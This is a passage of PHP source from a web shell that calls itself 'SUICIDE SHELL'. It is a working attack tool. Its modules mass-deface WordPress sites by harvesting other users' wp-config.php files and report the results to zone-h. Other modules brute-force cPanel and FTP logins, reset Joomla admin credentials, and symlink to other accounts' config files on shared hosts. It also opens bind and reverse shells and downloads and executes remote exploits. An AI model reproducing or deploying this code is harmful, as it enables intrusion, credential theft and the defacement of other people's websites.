            $infos        = @posix_getpwuid($dono_arquivo);
            $config02     = @file_get_contents($base_url . $infos['name'] . "/public_html/wp-config.php");
            $cls          = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';
            if ($config02 && preg_match('/DB_NAME/i', $config02)) {
                echo '<tr ' . $cls . '><td align="center">' . ($j++) . '</td><td align="center">' . $i . '</td><td><a href="http://' . $domain . '" target="blank">' . $domain . '</a></td>';
                echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';
                $res = index_changer_wp($config02, $def);
                echo '<td>' . $res['output'] . '</td>';
                if ($res['cond']) {
                    echo '<td align="center"><span class="green">HACKED</span></td>';
                    fwrite($output, 'http://' . $domain . "<br>");
                    $_SESSION['count2'] = $_SESSION['count2'] + 1;
                } else {
                    echo '<td align="center"><span class="red">unsuccessful</span></td>';
                }
                echo '</tr>';
            }
        }
        echo '</table>';
        echo '<hr/>';
        echo 'Total Deface = ' . ($_SESSION['count1'] + $_SESSION['count2']) . '<br>';
        echo '<a href="defaced.html" target="_blank">List Websites Defaced</a><br>';
    }
    echo '<head><p><h2 style="color:#FF0000;text-align: center;font-family:orbitron;font-size:25px;">Wordpress Mass Defacer</h2><link href="http://fonts.googleapis.com/css?family=Orbitron:700" rel="stylesheet" type="text/css"><style type="text/css">body {color: white;font-family: "orbitron";}.header {position:fixed;width:100%;top:0;background:#000;}.footer {position:fixed;width:100%;bottom:0;background:#000;}</style></p><script type="text/javascript">function change() {if(document.getElementById('rcd').checked == true) {document.getElementById('tra').style.display = '';} else {document.getElementById('tra').style.display = 'none';} }function hide() {document.getElementById('tra').style.display = 'none';}</script></head><body><div class="footer"><a href="https://www.facebook.com/Kaizen1337.gov" target="_blank"><h3 style="text-align: center;">' . base64_decode('S3J5cHRvbg==') . '</h3></a></div><div>';
    if (!isset($_POST['form_action'])) {
        echo '<div align="center"><center><img class="HoverBorder" alt="" src="https://media.indiatimes.in/media/content/2016/Sep/man-put-a-gun-to-his-head-shutterstock-800x430_1474351684.jpg";' . $tunisia . '" /></center><form action="" method="post"><input type="hidden" name="form_action" value="1"><br>index url:<input class="inputz" type="text" name="indexadresi" size="30" value="http://site.com/index.html" /><br><br><input class="inputzbut" type="submit" value="Deface" name="Submit"></form> </div>';
    }
    echo '<div align="center">';
    if ($_POST['form_action'] == 1) {
        exec_mode_1($_POST['indexadresi']);
    }
    echo '</div></div></body></html>';
} elseif (isset($_GET['x']) && ($_GET['x'] == 'zone-h')) {
    $defacer         = 'Kaizen';
    $display_details = 0;
    $method          = 14;
    $reason          = 5;
    error_reporting(0);
    set_time_limit(0);
    if (!function_exists('curl_init')) {
        echo "CURL ERRORn";
        exit;
    }
    $cli = (isset($argv[0])) ? 1 : 0;
    if ($cli == 1) {
        $file  = $argv[1];
        $sites = file($file);
        if (!file_exists($file)) {
            echo "<br><br><center><h1>error !</h1></center>n";
            exit;
        }
    } else {
        if (function_exists(apache_setenv)) {
            @apache_setenv('no-gzip', 1);
        }
        @ini_set('zlib.output_compression', 0);
        @ini_set('implicit_flush', 1);
        @ob_implicit_flush(true);
        @ob_end_flush();
        if (isset($_POST['domains'])) {
            $sites = explode("n", $_POST['domains']);
        }
        if (file_exists($_FILES["file"]["tmp_name"])) {
            $file  = $_FILES["file"]["tmp_name"];
            $sites = file($file);
        }
        echo <<<EOF
<div align="center"><table width="67%"><tr><td align=center></td></tr></table><br><pre>
EOF;
        if (!isset($_POST['defacer'])) {
            echo <<<EOF
<form enctype="multipart/form-data" method="POST"><div align='center'><span lang='en-us'><b>Defacer&nbsp;:</b></span><input class='inputz' name="defacer" type="text" value="$defacer" /><br/><table width='55%'><tr><td align='center'><span lang='en-us'><b>Domains:</b></span><p align='center'>&nbsp;<textarea rows='30' name='domains' cols='50' class='inputz'></textarea><br/><span lang='en-us'><b>OR</b></span><br/>Submit form .txt file:<br/><input name="file" type="file" /><br><br/><br/><input class='inputzbut' type='submit' value='    Send    ' name='submit'></p></td></tr></table></form>
EOF;
        }
        $defacer = $_POST['defacer'];
    }
    if (!$sites) {
        echo '</pre>';
        exit;
    }
    $sites = array_unique(str_replace('http://', '', $sites));
    $total = count($sites);
    echo "[+] Total unique domain: $totalnn";
    $pause = 10;
    $start = time();
    $main  = curl_multi_init();
    for ($m = 0; $m < 3; $m++) {
        $http[] = curl_init();
    }
    for ($n = 0; $n < $total; $n += 30) {
        if ($display_details == 1) {
            for ($x = 0; $x < 30; $x++) {
                echo '[+] Adding ' . rtrim($sites[$n + $x]) . '';
                echo "n";
            }
        }
        $d = $n + 30;
        if ($d > $total) {
            $d = $total;
        }
        echo "=====================>[$d/$total]n";
        for ($w = 0; $w < 3; $w++) {
            $p = $w * 10;
            if (!(isset($sites[$n + $p]))) {
                $pause = $w;
                break;
            }
            $posts[$w] = "defacer=$defacer&domain1=http%3A%2F%2F" . rtrim($sites[$n + $p]) . "&domain2=http%3A%2F%2F" . rtrim($sites[$n + $p + 1]) . "&domain3=http%3A%2F%2F" . rtrim($sites[$n + $p + 2]) . "&domain4=http%3A%2F%2F" . rtrim($sites[$n + $p + 3]) . "&domain5=http%3A%2F%2F" . rtrim($sites[$n + $p + 4]) . "&domain6=http%3A%2F%2F" . rtrim($sites[$n + $p + 5]) . "&domain7=http%3A%2F%2F" . rtrim($sites[$n + $p + 6]) . "&domain8=http%3A%2F%2F" . rtrim($sites[$n + $p + 7]) . "&domain9=http%3A%2F%2F" . rtrim($sites[$n + $p + 8]) . "&domain10=http%3A%2F%2F" . rtrim($sites[$n + $p + 9]) . "&hackmode=" . $method . "&reason=" . $reason . "&submit=Send";
            $curlopt   = array(
                CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.1;WOW64) AppleWebKit/535.16 (KHTML, like Gecko) Chrome/18.0.1003.1 Safari/535.16',
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_ENCODING => true,
                CURLOPT_HEADER => false,
                CURLOPT_HTTPHEADER => array(
                    "Keep-Alive: 7"
                ),
                CURLOPT_CONNECTTIMEOUT => 3,
                CURLOPT_URL => 'http://www.zone-h.com/notify/mass',
                CURLOPT_POSTFIELDS => $posts[$w]
            );
            curl_setopt_array($http[$w], $curlopt);
            curl_multi_add_handle($main, $http[$w]);
        }
        $running = null;
        do {
            curl_multi_exec($main, $running);
        } while ($running > 0);
        for ($m = 0; $m < 3; $m++) {
            if ($pause == $m) {
                break;
            }
            curl_multi_remove_handle($main, $http[$m]);
            $code = curl_getinfo($http[$m], CURLINFO_HTTP_CODE);
            if ($code != 200) {
                while (true) {
                    echo ' [-]Error!....Retrying';
                    echo "n";
                    sleep(5);
                    curl_exec($http[$m]);
                    $code = curl_getinfo($http[$m], CURLINFO_HTTP_CODE);
                    if ($code == 200) {
                        break 1;
                    }
                }
            }
        }
    }
    $end = time() - $start;
    echo 'Done';
    echo "nn[*]Time: $end secondsn";
    curl_multi_close($main);
    if ($cli == 0) {
        echo '</pre></body></html>';
    }
    exit;
}
 elseif (isset($_GET['x']) && ($_GET['x'] == 'about')) {
    echo '<br><center><k>WebShell Recoded By Xenzia Worm - Kaizen</k><br><br>SUICIDE SHELL is the result of recode from shell k2ll33d & Sadness Shell, then added some functions to make shell more powerful and userfriendly.<br>
        some functions are taken from the existing shell and the rest is the authors own creation <br> <br> shell is safe and clean from the name Logger even though this script is encoded, the author does not insert Logger in the image or in this PHP script.
        <br><k>Mail:&nbsp;<a href=mailto:[email protected]>Xenzia Worm - Kaizen</a><br><br><a href="https://www.facebook.com/Kaizen1337.gov" target="_blank">Facebook</k></a>&nbsp;</center>';
}
elseif (isset($_GET['x']) && ($_GET['x'] == 'brute')) {
    $connect_timeout = 5;
    set_time_limit(0);
    $submit    = $_REQUEST['submit'];
    $users     = $_REQUEST['users'];
    $pass      = $_REQUEST['passwords'];
    $target    = $_REQUEST['target'];
    $cracktype = $_REQUEST['cracktype'];
    if ($target == "") {
        $target = "localhost";
    }
?><div align="center"><form method="POST" style="border:1px solid #000000"><br><?php
    function ftp_check($host, $user, $pass, $timeout)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, "ftp://$host");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
        curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
        curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
        curl_setopt($ch, CURLOPT_FAILONERROR, 1);
        $data = curl_exec($ch);
        if (curl_errno($ch) == 28) {
            print "<b>Connection Timed out</b>";
            exit;
        } elseif (curl_errno($ch) == 0) {
            print "<table width='67%'><tr><td align=center><b>Username ($user) | Password ($pass)</b></td></tr></table>";
        }
        curl_close($ch);
    }
    function cpanel_check($host, $user, $pass, $timeout)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
        curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
        curl_setopt($ch, CURLOPT_FAILONERROR, 1);
        $data = curl_exec($ch);
        if (curl_errno($ch) == 28) {
            print "<b>Connection Timed out</b>";
            exit;
        } elseif (curl_errno($ch) == 0) {
            print "<table width='67%'><tr><td align=center><b>[+]Username ($user) | Password ($pass)</b></td></tr></table>";
        }
        curl_close($ch);
    }
    if (isset($submit) && !empty($submit)) {
        if (empty($users) && empty($pass)) {
            print "<p><b>Error : Check The Users and Password List</b></p>";
            exit;
        }
        if (empty($users)) {
            print "<p><b>Error :Check The Users List</b></p>";
            exit;
        }
        if (empty($pass)) {
            print "<p><b>Error :Check The Password List</b></p>";
            exit;
        }
        ;
        $userlist = explode("n", $users);
        $passlist = explode("n", $pass);
        print "<b>[~] Wait ...</b><br><br>";
        foreach ($userlist as $user) {
            $pureuser = trim($user);
            foreach ($passlist as $password) {
                $purepass = trim($password);
                if ($cracktype == "ftp") {
                    ftp_check($target, $pureuser, $purepass, $connect_timeout);
                }
                if ($cracktype == "cpanel") {
                    cpanel_check($target, $pureuser, $purepass, $connect_timeout);
                }
            }
        }
    }
    echo "<form method=POST action=''><table width='67%'><tr><td><br><p align='center'><b><span lang='en-us'>IP</span> :<input class='inputz' type='text' name='target' size='16' value=$target></b></p><div align='center'><p align='center'>users<textarea class='inputz' cols=20 rows=20 name='users'>";
    system('ls /var/mail');
    echo "</textarea>passwords<textarea class='inputz' cols=20 rows=20 name='passwords'>123123n123456n1234567n12345678n123456789n159159n112233nadminn332211n1478963npasswordnpasswdn159357n357951n114477npassnPassword</textarea><br><br><input name='cracktype' value='cpanel' checked type='radio'></span><b>Cpanel(2082)</b><input name='cracktype' value='ftp' style='font-weight: 700;' type='radio'></font></font><font style='font-weight: 700;' size='2' face='Tahoma'><span style='font-weight: 700;'>Ftp (21)</span></p><br><center><input class='inputzbut' type='submit' value='Start Cracking' name='submit'></center></td></tr></table></td></tr></form>";
    die();
} elseif (isset($_GET['x']) && ($_GET['x'] == 'joomla')) {
    if (empty($_POST['pwd'])) {
        echo "<center><br><br><br><FORM method='POST'><br><br><br>DB_Prefix :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='jos_' name='prefix' type='text'>&nbsp;host :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='localhost' name='localhost' type='text'>&nbsp;database :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='database' name='database' type='text'>&nbsp;username :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='db_user' name='username' type='text'>&nbsp;password :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='db_pass' name='password' type='text'><br>&nbsp;&nbsp;<br>New Username:&nbsp;&nbsp;<INPUT class ='inputz' name='admin' size='15' value='k2'><br><br>New Password:&nbsp;&nbsp;<INPUT class ='inputz' name='pwd' size='15' value='123123'><br><br>&nbsp;&nbsp;<INPUT value='change' class='inputzbut' name='send' type='submit'></FORM>";
    } else {
        $prefix    = $_POST['prefix'];
        $localhost = $_POST['localhost'];
        $database  = $_POST['database'];
        $username  = $_POST['username'];
        $password  = $_POST['password'];
        $admin     = $_POST['admin'];
        $pd        = ($_POST["pwd"]);
        $pwd       = md5($pd);
        @mysql_connect($localhost, $username, $password) or die(mysql_error());
        @mysql_select_db($database) or die(mysql_error());
        $SQL = @mysql_query("UPDATE " . $prefix . "users SET username ='" . $admin . "' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die(mysql_error());
        $SQL = @mysql_query("UPDATE " . $prefix . "users SET password ='" . $pwd . "' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die(mysql_error());
        if ($SQL)
            echo "<br><br><center><h1>Done... go and login</h1></center>";
    }
} elseif (isset($_GET['x']) && ($_GET['x'] == 'domains')) {
    echo "<br><br><p align=center>Domains and Users</p>";
    $d0mains = @file("/etc/named.conf");
    if (!$d0mains) {
        die("<center>Error : i can't read [ /etc/named.conf ]</center>");
    }
    echo '<table id="output"><tr bgcolor=#cecece><td>Domains</td><td>users</td></tr>';
    foreach ($d0mains as $d0main) {
        if (eregi("zone", $d0main)) {
            preg_match_all('#zone "(.*)"#', $d0main, $domains);
            flush();
            if (strlen(trim($domains[1][0])) > 2) {
                $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0]));
                echo "<tr><td><a href=http://www." . $domains[1][0] . "/>" . $domains[1][0] . "</a></td><td>" . $user['name'] . "</td></tr>";
                flush();
            }
        }
    }
    exit();
}
elseif (isset($_GET['krypton'])) {
    global $do, $scnya;
    function defacean($scnya){
        $do=$_SERVER['DOCUMENT_ROOT'];
        chdir($do);
        if(function_exists('fopen') && function_exists('fwrite'))
        {
            $script=fopen("index.php", "wb");
            if($script)
            {
                fwrite($script, $scnya);
                echo '<script>alert("Deface Success => index.php");</script>';
            }
            else
            {
             echo '<script>alert("Access Denied")</script>';
            }
            fclose($script);
        }
    }
    ?>
<br/><br/>
}
<center><form method="post"><br><br><br><textarea class='inputz' cols=80 rows=5 name="code">Krypton</textarea><br><br><select class='inputz' size="1" name="ope"><option value="base64">Base64</option><option value="md5">md5</option><option value="whash">Crypt</option><option value="SHA1">SHA1</option><option value="urlencode">URL Encoding</option><option value="md4">md4</option><option value="SHA256">SHA256</option></select>&nbsp;<input class='inputzbut' type='submit' value='encrypt'></form><?php
    $op = $_POST["ope"];
    switch ($op) {
        case 'base64':
            $codi = base64_encode($text);
            break;
        case 'md5':
            $codi = md5($text);
            break;
        case 'whash':
            $codi = crypt($text);
            break;
        case 'SHA1':
            $codi = sha1($text);
            break;
        case 'urlencode':
            $codi = urlencode($text);
            break;
        case 'md4':
            $codi = hash("md4", $text);
            break;
        case 'SHA256':
            $codi = hash("sha256", $text);
            break;
        default:
            break;
    }
    echo '<textarea cols=80 rows=10 class="inputz" readonly>' . $codi . '</textarea></center>';
}
elseif (isset($_GET['x']) && ($_GET['x'] == 'sym')) {
    @set_time_limit(0);
    @mkdir('sym', 0777);
    error_reporting(0);
    $htaccess = "Options all n DirectoryIndex gaza.html n AddType text/plain .php n AddHandler server-parsed .php n  AddType text/plain .html n AddHandler txt .html n Require None n Satisfy Any";
    $op       = @fopen('sym/.htaccess', 'w');
    fwrite($op, $htaccess);
    echo '<center><br><br><form method="post"> File Path:<br><input class="inputz" type="text" name="file" value="/home/user/public_html/config.php" size="60"/><br>Symlink Name<br><input class="inputz" type="text" name="symfile" value="s.txt" size="60"/><br><br><input class="inputzbut" type="submit" value="symlink" name="symlink" /><br><br></form></center>';
    $target  = $_POST['file'];
    $symfile = $_POST['symfile'];
    $symlink = $_POST['symlink'];
    if ($symlink) {
        @symlink("$target", "sym/$symfile");
        echo '<br><center><a target="_blank" href="sym/' . $symfile . '" >' . $symfile . '</a><center>';
    }
}
 elseif (isset($_GET['x']) && ($_GET['x'] == 'cmsdet')) {
    echo $bencong . "<center><p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>CMS Detector</b></p>";
?>
<form action="?sad=<?php
    echo $pwd;
?>&x=cmsdet" method="post">
<br><br>
<?php
    if (!file_exists('ag.tmp')) {
        @fopen('ag.tmp', 'w');

        echo '<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
        echo '<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table>';

        $p = 0;

        if (is_readable("/var/named")) {
            $list        = scandir("/var/named");
            $current_dir = posix_getcwd();
            $dir         = explode("/", $current_dir);
            foreach ($list as $domain) {
                if (strpos($domain, ".db")) {
                    $domain = str_replace('.db', '', $domain);
                    $owner  = posix_getpwuid(fileowner("/etc/valiases/" . $domain));

                    error_reporting(0);

                    $link = $pageURL . 'pee/' . $owner['name'];

                    cms_add($link, $domain, $owner['name'], "WordPress");
                    cms_add($link, $domain, $owner['name'], "Joomla");
                    cms_add($link, $domain, $owner['name'], "vBulletin");
                    cms_add($link, $domain, $owner['name'], "WHMCS");
                    cms_add($link, $domain, $owner['name'], "PhpBB");
                    cms_add($link, $domain, $owner['name'], "MyBB");
                    cms_add($link, $domain, $owner['name'], "IPB");
                    cms_add($link, $domain, $owner['name'], "SMF");
                    cms_add($link, $domain, $owner['name'], "Drupal");
                    cms_add($link, $domain, $owner['name'], "e107");
                    cms_add($link, $domain, $owner['name'], "Seditio");
                    cms_add($link, $domain, $owner['name'], "osCommerce");

                }
            }
        }
    } else {
        echo '<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
        echo '<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table><br><br>';
        $content = file_get_contents($pageURL . 'ag.tmp');
        echo $content;
    }
}

elseif (isset($_GET['x']) && ($_GET['x'] == 'phpinfo')) {
    @ob_start();
    @eval("phpinfo();");
    $buff = @ob_get_contents();
    @ob_end_clean();
    $awal  = strpos($buff, "<body>") + 6;
    $akhir = strpos($buff, "</body>");
    echo "<div class='phpinfo'>" . substr($buff, $awal, $akhir - $awal) . "</div>";
} elseif (isset($_GET['view']) && ($_GET['view'] != "")) {
    if (is_file($_GET['view'])) {
        if (!isset($file))
            $file = magicboom($_GET['view']);
        if (!$win && $posix) {
            $name  = @posix_getpwuid(@fileowner($file));
            $group = @posix_getgrgid(@filegroup($file));
            $owner = $name['name'] . "<span class='gaya'> : </span>" . $group['name'];
        } else {
            $owner = $user;
        }
        $filn = basename($file);
        echo "<table style='margin:6px 0 0 2px;line-height:20px;'> <tr><td>Filename</td><td><span id='" . clearspace($filn) . "_link'>" . $file . "</span> <form action='?sad=" . $pwd . "&amp;view=$file' method='post' id='" . clearspace($filn) . "_form' class='sembunyi' style='margin:0;padding:0;'> <input type='hidden' name='oldname' value='" . $filn . "' style='margin:0;padding:0;' /> <input class='inputz' style='width:200px;' type='text' name='newname' value='" . $filn . "' /> <input class='inputzbut' type='submit' name='rename' value='rename' /> <input class='inputzbut' type='submit' name='cancel' value='cancel' onclick='tukar('" . clearspace($filn) . "_link','" . clearspace($filn) . "_form');' /> </form> </td></tr> <tr><td>Size</td><td>" . ukuran($file) . "</td></tr> <tr><td>Permission</td><td>" . get_perms($file) . "</td></tr> <tr><td>Owner</td><td>" . $owner . "</td></tr> <tr><td>Create time</td><td>" . date("d-M-Y H:i", @filectime($file)) . "</td></tr> <tr><td>Last modified</td><td>" . date("d-M-Y H:i", @filemtime($file)) . "</td></tr> <tr><td>Last accessed</td><td>" . date("d-M-Y H:i", @fileatime($file)) . "</td></tr> <tr><td>Actions</td><td><a href='?sad=$pwd&amp;edit=$file'>edit</a> | <a href="javascript:tukar("" . clearspace($filn) . "_link','" . clearspace($filn) . "_form");">rename</a> | <a href='?sad=$pwd&amp;delete=$file'>delete</a> | <a href='?sad=$pwd&amp;dl=$file'>download</a>&nbsp;(<a href='?sad=$pwd&amp;dlgzip=$file'>gzip</a>)</td></tr> <tr><td>View</td><td><a href='?sad=" . $pwd . "&amp;view=" . $file . "'>text</a> | <a href='?sad=" . $pwd . "&amp;view=" . $file . "&amp;type=code'>code</a> | <a href='?sad=" . $pwd . "&amp;view=" . $file . "&amp;type=image'>image</a></td></tr></table>";
        if (isset($_GET['type']) && ($_GET['type'] == 'image')) {
            echo "<div style='text-align:center;margin:8px;'><img src='?sad=" . $pwd . "&amp;img=" . $filn . "'></div>";
        } elseif (isset($_GET['type']) && ($_GET['type'] == 'code')) {
            echo "<div class='viewfile'>";
            $file = wordwrap(@file_get_contents($file), "240", "n");
            @highlight_string($file);
            echo "</div>";
        } else {
            echo "<div class='viewfile'>";
            echo nl2br(htmlentities((@file_get_contents($file))));
            echo "</div>";
        }
    } elseif (is_dir($_GET['view'])) {
        echo showdir($pwd, $prompt);
    }
} elseif (isset($_GET['edit']) && ($_GET['edit'] != "")) {
    if (isset($_POST['save'])) {
        $file    = $_POST['saveas'];
        $content = magicboom($_POST['content']);
        if ($filez = @fopen($file, "w")) {
            $time = date("d-M-Y H:i", time());
            if (@fwrite($filez, $content))
                $msg = "file saved <span class='gaya'>@</span> " . $time;
            else
                $msg = "failed to save";
            @fclose($filez);
        } else
            $msg = "permission denied";
    }
    if (!isset($file))
        $file = $_GET['edit'];
    if ($filez = @fopen($file, "r")) {
        $content = "";
        while (!feof($filez)) {
            $content .= htmlentities(str_replace("''", "'", fgets($filez)));
        }
        @fclose($filez);
    }
?><form action="?sad=<?php
    echo $pwd;
?>&amp;edit=<?php
    echo $file;
?>" method="post"> <table class="cmdbox"> <tr><td colspan="2">
<textarea class="output" name="content">
<?php
    echo $content;
?></textarea> <tr>
<td colspan="2">Save as <input onMouseOver="this.focus()" id="cmd" class="inputz" type="text" name="saveas" style="width:60%" value="<?php
    echo $file;
?>" />
<input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%" />
&nbsp;<?php
    echo $msg;
?></td></tr></table></form> <?php
} elseif (isset($_GET['x']) && ($_GET['x'] == 'upload')) {
    if (isset($_POST['uploadcomp'])) {
        if (is_uploaded_file($_FILES['file']['tmp_name'])) {
            $path     = magicboom($_POST['path']);
            $fname    = $_FILES['file']['name'];
            $tmp_name = $_FILES['file']['tmp_name'];
            $pindah   = $path . $fname;
            $stat     = @move_uploaded_file($tmp_name, $pindah);
            if ($stat) {
                $msg = "file uploaded to $pindah";
            } else
                $msg = "failed to upload $fname";
        } else
            $msg = "failed to upload $fname";
    } elseif (isset($_POST['uploadurl'])) {
        $pilihan  = trim($_POST['pilihan']);
        $wurl     = trim($_POST['wurl']);
        $path     = magicboom($_POST['path']);
        $namafile = download($pilihan, $wurl);
        $pindah   = $path . $namafile;
        if (is_file($pindah)) {
            $msg = "file uploaded to $pindah";
        } else
            $msg = "failed to upload $namafile";
    }
?>
<form action="?sad=<?php
    echo $pwd;
?>&amp;x=upload" enctype="multipart/form-data" method="post"><br><br><br>
<table class="tabnet" style="width:320px;padding:0 1px"> <tr><th colspan="2">Local</th></tr> <tr><td colspan="2"><p style="text-align:center"><input style="color:#000000" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px"></p></td> <tr><td colspan="2"><input type="text" class="inputz" style="width:99%" name="path" value="<?php
    echo $pwd;
?>" /></td></tr> </tr> </table></form> <table class="tabnet" style="width:320px;padding:0 1px"> <tr><th colspan="2">Remote</th></tr> <tr><td colspan="2"><form method="post" style="margin:0;padding:0" actions="?sad=<?php
    echo $pwd;
?>&amp;x=upload"> <table><tr><td>link</td>
<td><input class="inputz" type="text" name="wurl" style="width:250px" value="http://site/file.*"></td></tr> <tr><td colspan="2">
<input type="text" class="inputz" style="width:99%" name="path" value="<?php
    echo $pwd;
?>" /></td></tr> <tr><td><select size="1" class="inputz" name="pilihan"> <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option> <option value="wget">GET</option> <option value="wcurl">curl</option> </select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px"></td></tr></form></table></td> </tr> </table> <div style="text-align:center;margin:2px"><?php
    echo $msg;
?></div>
<?php
} elseif (isset($_GET['x']) && ($_GET['x'] == 'netsploit')) {
    if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
        $port    = trim($_POST['port']);
        $passwrd = trim($_POST['bind_pass']);
        tulis("bdc.c", $port_bind_bd_c);
        exe("gcc -o bdc bdc.c");
        exe("chmod 777 bdc");
        @unlink("bdc.c");
        exe("./bdc " . $port . " " . $passwrd . " &");
        $scan = exe("ps aux");
        if (eregi("./bdc $por", $scan)) {
            $msg = "<p>Process successed</p>";
        } else {
            $msg = "<p>Process Failed</p>";
        }
    } elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
        $port    = trim($_POST['port']);
        $passwrd = trim($_POST['bind_pass']);
        tulis("bdp", $port_bind_bd_pl);
        exe("chmod 777 bdp");
        $p2 = which("perl");
        exe($p2 . " bdp " . $port . " &");
        $scan = exe("ps aux");
        if (eregi("$p2 bdp $port", $scan)) {
            $msg = "<p>Process successed</p>";
        } else {
            $msg = "<p>Process Failed</p>";
        }
    } elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
        $ip   = trim($_POST['ip']);
        $port = trim($_POST['backport']);
        tulis("bcc.c", $back_connect_c);
        exe("gcc -o bcc bcc.c");
        exe("chmod 777 bcc");
        @unlink("bcc.c");
        exe("./bcc " . $ip . " " . $port . " &");
        $msg = "trying to connect to " . $ip . " on port " . $port . " ...";
    } elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
        $ip   = trim($_POST['ip']);
        $port = trim($_POST['backport']);
        tulis("bcp", $back_connect);
        exe("chmod +x bcp");
        $p2 = which("perl");
        exe($p2 . " bcp " . $ip . " " . $port . " &");
        $msg = "Trying to connect to " . $ip . " on port " . $port . " ...";
    } elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd'])) {
        $pilihan  = trim($_POST['pilihan']);
        $wurl     = trim($_POST['wurl']);
        $namafile = download($pilihan, $wurl);
        if (is_file($namafile)) {
            $msg = exe($wcmd);
        } else
            $msg = "error: file not found $namafile";
    }
?><br><br><br><br> <table class="tabnet"> <tr><th>Bind Port</th><th>Back connect</th><th>download and Exec</th></tr><tr><td> <table> <form method="post" actions="?sad=<?php
    echo $pwd;
?>&amp;x=netsploit"><tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php
    echo $bindport;
?>"></td></tr> <tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php
    echo $bindport_pass;
?>"></td></tr> <tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select><input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form></table> </td> <td><table> <form method="post" actions="?sad=<?php
    echo $pwd;
?>&amp;x=netsploit"><tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php
    echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"));
?>"></td></tr> <tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php
    echo $bindport;
?>"></td></tr> <tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select> <input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form></table> </td> <td> <table> <form method="post" actions="?sad=<?php
    echo $pwd;
?>&amp;x=netsploit"><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px" value="www.some-code/exploits.c"></td></tr><tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td> </tr> <tr><td><select size="1" class="inputz" name="pilihan"> <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option><option value="wget">GET</option> <option value="wcurl">curl</option> </select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px"></td></tr></form></table></td></tr></table><div style="text-align:center;margin:2px"><?php
    echo $msg;
?></div><br>
<?php
    error_reporting(0);
    function ss($t)
    {
        if (!get_magic_quotes_gpc())
            return trim(urldecode($t));
        return trim(urldecode(stripslashes($t)));
    }
    $s_my_ip   = gethostbyname($_SERVER['HTTP_HOST']);
    $rsport    = "443";
    $rsportb4  = $rsport;
    $rstarget4 = $s_my_ip;
